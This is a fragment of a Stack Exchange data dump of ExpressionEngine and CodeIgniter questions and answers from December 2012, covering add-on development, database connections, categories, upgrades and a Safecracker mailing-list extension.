  <row Id="1413" PostTypeId="1" AcceptedAnswerId="1456" CreationDate="2012-12-10T23:37:01.090" Score="2" ViewCount="2457" Body="&lt;p&gt;I want to extend the &lt;strong&gt;EE_Loader&lt;/strong&gt; class in ExpressionEngine 2, without hacking at core EE (or CI) code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to follow the advice from &lt;a href=&quot;http://www.simonemms.com/2011/03/18/extending-the-codeigniter-database-class/&quot; rel=&quot;nofollow&quot;&gt;Simon Emms' blog&lt;/a&gt; which would be a clean way to extend CI_Loader, and follows the standard convention for extending a CI class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding a &lt;code&gt;EE_Loader.php&lt;/code&gt; file within &lt;code&gt;codeigniter/system/core/&lt;/code&gt;, which is where &lt;strong&gt;CI_Loader&lt;/strong&gt; (in file &lt;code&gt;Loader.php&lt;/code&gt;) lives. My subclass_prefix is 'EE_' because I'm using ExpressionEngine so I'm confident with the filename being used, but it's not reading in the new file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone been successful in extending ExpressionEngine's EE_Loader class? Any pointers would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To provide some background, I have written a PHP Session handler which writes to MySQL, using Active Record to form my queries. It will be used in a web cluster so I need to share sessions. I have considered using a NFS file, memcached, redis and MySQL solutions. MySQL is already in use, will perform well and provides a centralised store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading the session data from the DB, I make another call to write to the DB, but I get a &quot;deprecated&quot; warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: 8192&#xA;&#xA;Message: mysql_escape_string(): This function is deprecated; use mysql_real_escape_string() instead.&#xA;&#xA;Filename: mysql/mysql_driver.php&#xA;Line Number: 319&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also get the same message when I use the mysqli driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's happening because &lt;code&gt;$this-&amp;gt;conn_id&lt;/code&gt; becomes false between 2 queries. I don't know why.&lt;/p&gt;&#xA;" OwnerUserId="582" LastEditorUserId="28" LastEditDate="2012-12-16T06:15:09.327" LastActivityDate="2012-12-16T10:06:57.863" Title="Extend EE_Loader (or CI_Loader) in ExpressionEngine" Tags="|codeigniter|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1414" PostTypeId="2" ParentId="972" CreationDate="2012-12-11T00:03:56.150" Score="2" Body="&lt;p&gt;I had pretty much the same issue with the Rich Text Editor module, and got round this issue by embedding a GitHub Gist instead, which works very well except for that when you go to edit a previously saved channel entry, you have to paste in the JavaScript embed code again.&lt;/p&gt;&#xA;" OwnerUserId="583" LastEditorUserId="583" LastEditDate="2012-12-11T00:10:13.437" LastActivityDate="2012-12-11T00:10:13.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1415" PostTypeId="1" AcceptedAnswerId="1428" CreationDate="2012-12-11T01:21:57.253" Score="2" ViewCount="121" Body="&lt;p&gt;I need to be able to add/edit/delete records whose data structure is somewhat complex and involves a lot of business rules for each database operation. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some inserts are simple INSERTs, while others may be INSERT IGNORE depending on certain conditions&lt;/li&gt;&#xA;&lt;li&gt;Delete operations may or may not trigger addition DB operations&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Furthermore, due to the complexity of the data structure and a few other reasons (e.g. not wanting this to be coupled to EE so that other CMS can interact with it in the future), I want all this data to be on a separate database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still not completely sure what an addon can or cannot do. So, here are some questions I have before getting too deep into this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible to create some sort of addon whose data is stored on a different database?&lt;/li&gt;&#xA;&lt;li&gt;Since this won't be using Channels, how would I make my back end interfaces appear in the Control Panel?&lt;/li&gt;&#xA;&lt;li&gt;Will I be able to loop through the entries like I do with Channel entries (using tag pairs)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-11T15:27:53.817" Title="Addon to handle data too complex for Channels/Playa/Matrix" Tags="|add-on|channel-entries|channel|playa|matrix|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1416" PostTypeId="2" ParentId="1377" CreationDate="2012-12-11T01:38:11.180" Score="1" Body="&lt;p&gt;If it's a &quot;don't need to be seen&quot; situation, give them a &quot;Don't Use&quot; category parent and stick 'em at the bottom of the list. If it's a &quot;can't be seen&quot; situation, that's a different animal. &lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2012-12-11T01:38:11.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1417" PostTypeId="2" ParentId="998" CreationDate="2012-12-11T01:39:56.733" Score="1" Body="&lt;p&gt;Just wanted to follow up with this thread, this bug has been fixed in my latest development build and will be available in the v1.2 release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email support[at]objectivehtml.com if you need access to the beta build.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-11T01:39:56.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1418" PostTypeId="2" ParentId="1385" CreationDate="2012-12-11T01:43:03.227" Score="2" Body="&lt;p&gt;This is an EE bug. They changes some things in EE 2.5.3, which has effected almost all of my add-ons. Definitely contact the developer, it's a relatively easy fix. In my case I just abandoned the &lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model()&lt;/code&gt; method entirely, along with the config too. It's entirely unreliable. It particularly fails in &lt;code&gt;__construct()&lt;/code&gt; methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I usually fix the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; require_once PATH_THIRD . 'your_addon/models/your_model.php';&#xA; $this-&amp;gt;EE-&amp;gt;your_model = new Your_model();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-11T01:43:03.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1419" PostTypeId="1" AcceptedAnswerId="1420" CreationDate="2012-12-11T01:44:34.280" Score="1" ViewCount="106" Body="&lt;p&gt;RE: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/custom_member_fields_edit.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/members/custom_member_fields_edit.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have a group of fields to represent a single entry (of a possible many) in member fields? For example, say the member is to list his/her professional services, it may look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 hour(s), Web Development, $100&#xA;1 hour(s), Web Design, $125&#xA;1 hour(s), Web Content Development, $75&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each entry contains 3 fields. Is this natively possible? Do I need some sort of addon? Or is this not supported at all?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-11T01:49:58.793" Title="Complex member fields" Tags="|members|member-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1420" PostTypeId="2" ParentId="1419" CreationDate="2012-12-11T01:49:58.793" Score="8" Body="&lt;p&gt;I am not entirely sure what you are trying to do. But given the fact that the native Member module is not good for much of anything, I always recommend not using it. Using an add-on that stores profiles in channel entries allows you to use any fieldtype you want and get the level of flexibility you need. I am sure there is a fieldtype (FT) available to what you need, and you already used the word &quot;entries&quot; which tells me one of these add-ons would be exactly what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these are solid solutions&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/safecracker-registration&quot;&gt;http://devot-ee.com/add-ons/safecracker-registration&lt;/a&gt; (My add-on)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot;&gt;http://devot-ee.com/add-ons/zoo-visitor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot;&gt;http://devot-ee.com/add-ons/profileedit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-11T01:49:58.793" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1421" PostTypeId="1" AcceptedAnswerId="1424" CreationDate="2012-12-11T08:58:35.973" Score="3" ViewCount="445" Body="&lt;p&gt;One of my category groups is rather big ( 100+ categories ) and the tree-structure to show categories just doesn't cut it anymore. It's too long and confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would like to display my categories in a dropdown on the publish page.&#xA;&lt;strong&gt;Something very similar to this: &lt;a href=&quot;http://devot-ee.com/add-ons/wb-category-select&quot; rel=&quot;nofollow&quot;&gt;WB Category Select&lt;/a&gt;, but without having to use a custom field to display and store the categories.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really want to use the native categories because of 2 reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;All of my entries are allready assigned to their categories, and I don't want to redo this for 1000+ entries in 100+ different categories&lt;/li&gt;&#xA;&lt;li&gt;I'm working with &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWCode categories&lt;/a&gt; to display everything on the front-end, and that add-on only works with the native categories&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's why WB category select is out of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I do this, &lt;strong&gt;can I build an add-on to affect the way categories are being outputted in the back-end&lt;/strong&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the categories have multiple levels of subcategories, but they don't require multiple selections, so a drop-down should be sufficient ( doesn't have to be a multi-select )&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-12-11T10:40:58.370" Title="showing categories in a dropdown" Tags="|ee2|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1422" PostTypeId="1" AcceptedAnswerId="1830" CreationDate="2012-12-11T10:19:04.033" Score="6" ViewCount="378" Body="&lt;p&gt;I have recently installed the Cookie Consent Module on a recent EE site build,&#xA;and have added an allow cookies link (ie. {cookies_allowed_link} ) to a policy banner at the top of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to remove the default EE ' Cookies Allowed ' grey message box from showing? ie. I just want the user to able to click allow cookies and the site just carries on as normal with out going to a message screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance on this :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Karl&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2013-09-04T11:40:58.143" Title="Remove Cookies Allowed Default EE Message when using Cookie Consent Module" Tags="|module|cookies|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1423" PostTypeId="2" ParentId="1411" CreationDate="2012-12-11T10:36:02.783" Score="0" Body="&lt;p&gt;My general advice would be to forego EE's native caching and turn to something a little more powerful like CE Cache: &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ce-cache&lt;/a&gt; which gives you a host of options as far as caching is concerned, including static page caching. It's one of those add-ons where once you used it, you wonder how you got along before :)&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-12-11T10:36:02.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1424" PostTypeId="2" ParentId="1421" CreationDate="2012-12-11T10:40:58.370" Score="2" Body="&lt;p&gt;There's an add-on called Lonely Cat &lt;a href=&quot;http://devot-ee.com/add-ons/lonely-cat&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/lonely-cat&lt;/a&gt; that may be close to what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-12-11T10:40:58.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1425" PostTypeId="1" CreationDate="2012-12-11T11:03:43.800" Score="5" ViewCount="117" Body="&lt;p&gt;I've got a custom plugin that I'm using to do some PHP work for a project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to run some of the category methods in the &lt;code&gt;Admin_content&lt;/code&gt; class. Are add-ons able to use this class? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to run the re-order categories (alphabetically) functionality outside of the CP, inside my add-on.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="55" LastEditDate="2012-12-11T15:30:01.607" LastActivityDate="2012-12-11T17:26:20.837" Title="Use core EE class in an add-on" Tags="|categories|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1426" PostTypeId="1" CreationDate="2012-12-11T11:56:33.373" Score="4" ViewCount="107" Body="&lt;p&gt;I'm looking for a way to submit to a mailinglist (standard ee mailing list module) when submitting a safecracker form. Basically a user will click a checkbox &quot;yes, send me the newsletter&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="585" LastActivityDate="2012-12-11T16:05:26.860" Title="Mailing list submit in Safecracker" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1427" PostTypeId="1" AcceptedAnswerId="1429" CreationDate="2012-12-11T13:24:27.327" Score="6" ViewCount="336" Body="&lt;p&gt;Is it possible to limit the number of categories that are returned by the &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag? If not is there an alternative (or dare I say add-on :P)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I could just use an SQL query for this, but if possible I would prefer to use one of the more standard built-in tags for this if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use Case:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Categories have been manually ordered using the control panel.&lt;/li&gt;&#xA;&lt;li&gt;Only want the first 10 to be displayed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-11T13:29:54.607" Title="A way to limit the number of categories with `exp:channel:categories`?" Tags="|templates|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1428" PostTypeId="2" ParentId="1415" CreationDate="2012-12-11T13:26:44.563" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to create some sort of addon whose data is stored on a different database?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sure, I'm pretty sure this should work (&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/database/connecting.html&quot; rel=&quot;nofollow&quot;&gt;based on the CodeIgniter docs&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = array(&#xA;    'hostname' =&amp;gt; &quot;localhost&quot;,&#xA;    'username' =&amp;gt; &quot;myusername&quot;,&#xA;    'password' =&amp;gt; &quot;mypassword&quot;,&#xA;    'database' =&amp;gt; &quot;mydatabase&quot;,&#xA;    'dbdriver' =&amp;gt; &quot;mysql&quot;,&#xA;    'char_set' =&amp;gt; &quot;utf8&quot;,&#xA;    'dbcollat' =&amp;gt; &quot;utf8_general_ci&quot;&#xA;);    &#xA;$this-&amp;gt;EE-&amp;gt;custom_db = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;load-&amp;gt;database($config);   &#xA;// Now use $this-&amp;gt;EE-&amp;gt;custom_db-&amp;gt;query(), etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since this won't be using Channels, how would I make my back end interfaces appear in the Control Panel?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You'd have to build the interfaces yourself, using &quot;view&quot; files inside your add-on, which can then use EE's helper classes to build forms, tables, etc for display. (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;See the module tutorial for some guidance.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will I be able to loop through the entries like I do with Channel entries (using tag pairs)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, the key to that is just having your data in a multi-dimensional array, and using &lt;code&gt;this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables()&lt;/code&gt; (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&quot; rel=&quot;nofollow&quot;&gt;see docs&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2012-12-11T15:27:53.817" LastActivityDate="2012-12-11T15:27:53.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1429" PostTypeId="2" ParentId="1427" CreationDate="2012-12-11T13:29:54.607" Score="7" Body="&lt;p&gt;The &lt;code&gt;{exp:channel:categories}&lt;/code&gt; sadly does not have a &lt;code&gt;limit&lt;/code&gt; parameter. &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot;&gt;GW Code Categories&lt;/a&gt; does have a &lt;code&gt;limit&lt;/code&gt; parameter though (along with many other useful features when working with categories).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-11T13:29:54.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1430" PostTypeId="1" AcceptedAnswerId="1443" CreationDate="2012-12-11T14:31:08.637" Score="4" ViewCount="231" Body="&lt;p&gt;upgraded a site from 2.1.3 to 2.5.3 and once the upgrade successfully completed I tried to access the CP and get a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked .htaccess and found an old method for removing index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond $1 !^(favicon\.ico|info\.php|index\.php|path\.php|php\.ini) [NC]&#xA;# Exclude EE folders&#xA;RewriteCond $1 !^(system|images|img|fr|themes|media)/ [NC]&#xA;# Exclude 3rd party folders&#xA;RewriteCond $1 !^(css|js|uploads|ca_en|ca_fr)/ [NC]&#xA;# Remove index.php&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I commented out and replaced with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;official method&lt;/a&gt; - no change. The front end of the site loads fine, but I can't get into the backend. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-11T17:06:06.503" Title="Upgraded 2.1.3 to 2.5.3 and now can't access the CP" Tags="|ee2|upgrade|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1431" PostTypeId="2" ParentId="1430" CreationDate="2012-12-11T14:47:58.260" Score="2" Body="&lt;p&gt;Check the settings in the database and config files for the path to the themes directory. That used to get me all the time.&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2012-12-11T14:47:58.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1432" PostTypeId="2" ParentId="1430" CreationDate="2012-12-11T14:59:44.150" Score="2" Body="&lt;p&gt;Is the system path in admin.php different from index.php? Another option is to set PHP error reporting on admin.php and see if you catch any exceptions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting(E_ALL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="71" LastActivityDate="2012-12-11T14:59:44.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1433" PostTypeId="1" AcceptedAnswerId="1442" CreationDate="2012-12-11T15:02:36.687" Score="6" ViewCount="68" Body="&lt;p&gt;I am looking for a way to isolate entries based on a  {event_time_start} and {event_time_end} custom field. For instance the first one contains 930 as a value and the second one 1200 meaning the event start at 9:30 and ends à 12:00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to display which event is on right now by doing something like :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;search:event_time_start=&quot;&amp;lt;930&quot; search:event_time_end=&quot;&gt;1200&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this outputs sweet nothing. I had a look at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot;&gt;this entry about the search param&lt;/a&gt; and I see there is no support for &amp;lt; and &gt; but I was wondering if an extension / add-on / something would support add this feature.&lt;/p&gt;&#xA;" OwnerUserId="586" LastActivityDate="2012-12-12T05:40:59.147" Title="Is there a way to add logic operand to the search parameter?" Tags="|add-on|ee2|templates|channel-entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1434" PostTypeId="1" AcceptedAnswerId="1450" CreationDate="2012-12-11T15:49:49.060" Score="4" ViewCount="195" Body="&lt;p&gt;I'm trying to create a category-like hierarchy using only Structure, but am having issues with the requirement of each entry having a unique url_title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Category1&#xA;  Sub1&#xA;    Item1&#xA;    Item2&#xA;    Item3&#xA;  Sub2&#xA;    Item4&#xA;    Item5&#xA;    Item6&#xA;&#xA;Category2&#xA;  Sub1&#xA;    Item7&#xA;    Item8&#xA;    Item9&#xA;  Sub2&#xA;    Item10&#xA;    Item11&#xA;    Item12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is that Sub1 and Sub2 have to have unique url_titles, which effects the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this is not a Structure-only issue, it's essentially EE's limit, but the Structure tree in the CP - organized as above - is so easy for clients to manage, I prefer to go this way instead of using categories.  And, I can simply use {exp:structure:nav} to output the entire listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to allow Sub1 and Sub2 to exist as '/sub1/' and '/sub2/' but be used throughout the Structure tree, across multiple Categories (ie: Category1, Category2, Category3, etc.)?&lt;/p&gt;&#xA;" OwnerUserId="202" LastEditorUserId="202" LastEditDate="2012-12-11T17:06:28.797" LastActivityDate="2012-12-11T18:42:29.160" Title="Repeating entries within a Structure tree" Tags="|categories|structure|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1435" PostTypeId="2" ParentId="1426" CreationDate="2012-12-11T16:05:26.860" Score="2" Body="&lt;p&gt;I don't think there's a way to do this out of the box with Safecracker. However, you can write an extension that responds to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/development.html&quot; rel=&quot;nofollow&quot;&gt;safecracker_submit_entry_start or safecracker_submit_entry_end hooks&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $data = array(&#xA;            'class'     =&amp;gt; 'Mailing_list_ext',&#xA;            'method'    =&amp;gt; 'add_to_mailing_list',&#xA;            'hook'      =&amp;gt; 'safecracker_submit_entry_end',&#xA;            'settings'  =&amp;gt; '',&#xA;            'priority'  =&amp;gt; '10',&#xA;            'version'   =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled'   =&amp;gt; 'y'&#xA;    );&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, you'll want your extension to check for the custom field you're using for the newsletter signup, then you'll have to insert your user's email address into the exp_mailing_list table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_to_mailing_list($data) {&#xA;    if($this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('add_me_to_list') == 'yes') {&#xA;        //get the email address from the safecracker form&#xA;        $email = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('email');&#xA;&#xA;        //either hardcode the list id from exp_mailing_lists or lookup with a query&#xA;        $list_id = 1;&#xA;&#xA;        //generate the auth check&#xA;        $code = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;random('alnum', 10);&#xA;&#xA;        //insert a new row into exp_mailing_list&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;INSERT INTO exp_mailing_list (list_id, authcode, email, ip_address) &#xA;        VALUES ('&quot;.$this-&amp;gt;EE-&amp;gt;db-&amp;gt;escape_str($list_id).&quot;', '&quot;.$code.&quot;', &#xA;        '&quot;.$this-&amp;gt;EE-&amp;gt;db-&amp;gt;escape_str($email).&quot;', &#xA;        '&quot;.$this-&amp;gt;EE-&amp;gt;db-&amp;gt;escape_str($this-&amp;gt;EE-&amp;gt;input-&amp;gt;ip_address()).&quot;')&quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To learn more about creating EE extensions, you can view the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;Extension Development docs here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2012-12-11T16:05:26.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1436" PostTypeId="2" ParentId="1434" CreationDate="2012-12-11T16:14:31.620" Score="0" Body="&lt;p&gt;I'm not &lt;em&gt;quite&lt;/em&gt; sure what you're trying to do - but I suggest you have a look at this add-on: Freebie &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freebie&lt;/a&gt; - a lot of devs use this to make the url structure more flexible. &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-12-11T16:14:31.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1437" PostTypeId="2" ParentId="1430" CreationDate="2012-12-11T16:18:53.540" Score="8" Body="&lt;p&gt;I usually document this stuff on my own (for the next time) so I'm racking my brain trying to remember.  However, I think for me, there was an add-on (probably accessory) that wasn't compatible, and it blanked the whole thing out.  I ended up disabling until it started working.  You might just update all of your stuff to see if that helps.&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2012-12-11T16:18:53.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1438" PostTypeId="2" ParentId="1384" CreationDate="2012-12-11T16:35:11.530" Score="4" Body="&lt;h3&gt;What's Going Wrong&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You've already spotted the problem but here's a quick explanation of why the error is occurring. If you enable pagination EE1's query module will issue two queries - one calculates the total number of results sans-pagination and the other issues the query itself with an additional &lt;code&gt;LIMIT&lt;/code&gt; parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The total results query is generated by rewriting the &lt;code&gt;SELECT&lt;/code&gt; portion of your query as &lt;code&gt;SELECT COUNT(*)&lt;/code&gt;. This means that the &lt;code&gt;entry_date&lt;/code&gt; alias is no longer created, so MySQL trips up as soon as it hits the &lt;code&gt;ORDER BY&lt;/code&gt; part of the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is that even if you remove the &lt;code&gt;ORDER BY&lt;/code&gt; parameter the union query results in two different count values being returned - one for each table. Presumably EE would ignore all but the first value.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How To Fix It (Hopefully)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this patch but it's the same approach that EE2's query module uses so it should work. Open up mod.query.php and find the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $DB-&amp;gt;query(preg_replace(&quot;/SELECT(.*?)\s+FROM\s+/is&quot;, 'SELECT COUNT(*) AS count FROM ', $sql));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $DB-&amp;gt;query(&quot;SELECT COUNT(*) AS count FROM ({$sql}) AS query&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This approach leaves your original query intact, so it should return accurate total results counts and won't be anywhere near as easily tripped up by aliases or unions.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2013-02-27T09:33:50.603" LastActivityDate="2013-02-27T09:33:50.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
